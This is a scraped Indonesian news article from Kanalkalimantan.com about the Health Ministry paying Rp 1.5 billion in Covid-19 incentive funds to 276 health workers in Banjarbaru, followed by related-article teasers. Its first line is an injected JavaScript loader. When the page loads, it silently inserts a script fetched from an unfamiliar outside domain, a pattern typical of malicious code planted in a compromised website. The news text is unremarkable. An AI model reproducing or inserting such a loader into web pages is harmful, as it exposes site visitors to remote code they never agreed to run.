(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kementerian Kesehatan (Kemenkes) RI telah mencairkan bantuan dana insentif terhadap 276 tenaga kesehatan yang telah berdedikasi dalam upaya penanganan pandemi Covid-19 di Kota Banjarbaru.
Dana insentif tersebut diserahkan secara simbolis oleh Wakil Wali Kota Banjarbaru H Darmawan Jaya Setiawan didampingi Kepala Dinas Kesehatan Kota Banjarbaru Rizana Mirja dan Direktur RSDI Kota Banjarbaru dr Hj Endah Labati Silapurna, pada Kamis (3/9/2020) pagi.
Kepala Dinas Kesehatan Kota Banjarbaru, Rizana Mirza, mengatakan bahwa dana insentif diserahkan kepada 276 tenaga kesehatan yang terdiri dari tenaga kesehatan di Rumah Sakit Daerah (RSD) Idaman Banjarbaru sebanyak 66 orang dan 210 tenaga kesehatan di 10 Puskesmas se Kota Banjarbaru.
“Total dana insentif yang diserahkan, senilai Rp 1,5 miliar atau lebih rincinya Rp 1.536.636.000,00. Mudah-mudahan juga nanti ada bantuan dari Pemerintah Kota untuk memberikan dukungan kepada teman-teman kita para Tenaga Kesehatan yang menangani Covid-19 yang berjuang di garda terdepan,” harapnya.
Sementara itu, Wakil Wali Kota Banjarbaru, Darmawan Jaya Setiawan, mengucap syukur atas pemberian dana insentif bagi para tenaga kesehatan di Kota Banjarbaru. Menurutnya bantuan ini adalah suatu bentuk perhatian dari pemerintah kepada tenaga kesehatan yang sudah berjibaku, bekerja keras dengan segala resiko yang di hadapi.
“Mudah-mudahan ini menjadi motivasi agar para tenaga kesehatan kita tetap semangat untuk bersama-sama berjuang untuk menangani Covid-19. Saya tahu bahwa tujuan dari mereka berjuang adalah atas dasar idealisme, rasa kemanusiaan untuk menolong sesama, bukan tujuan utamanya bukan untuk mendapatkan insentif,” terangnya.
“Namun tentu, Insya Allah dana insentif ini akan berdampak yang sangat baik sehingga mereka para tenaga kesehatan merasa bahwa Pemerintah peduli dan perhatian terhadap kerja-kerja yang telah mereka lakukan dalam menangani Covid-19 di daerah masing-masing,” kata Jaya.
Bagi sebagian tenaga kesehatan yang belum mendapatkan dana insentif ini, kata Jaya, pihaknya akan menyiapkan dana insentif lain. Dalam hal ini, Pemko Banjarbaru akan merumuskan dan memutuskannya bersama para legeslatif di DPRD Kota Banjarbaru.
“Mudah-mudahan dengan segala keterbatasan kita masih mampu memberikan perhatian kita, bentuk kepedulian kita, kepada seluruh tenaga kesehatan yang ada di Kota Banjarbaru,” pungkasnya. (Kanalkalimantan.com/rico)
Reporter: Rico
Editor: Cell
KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More
KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
This website uses cookies.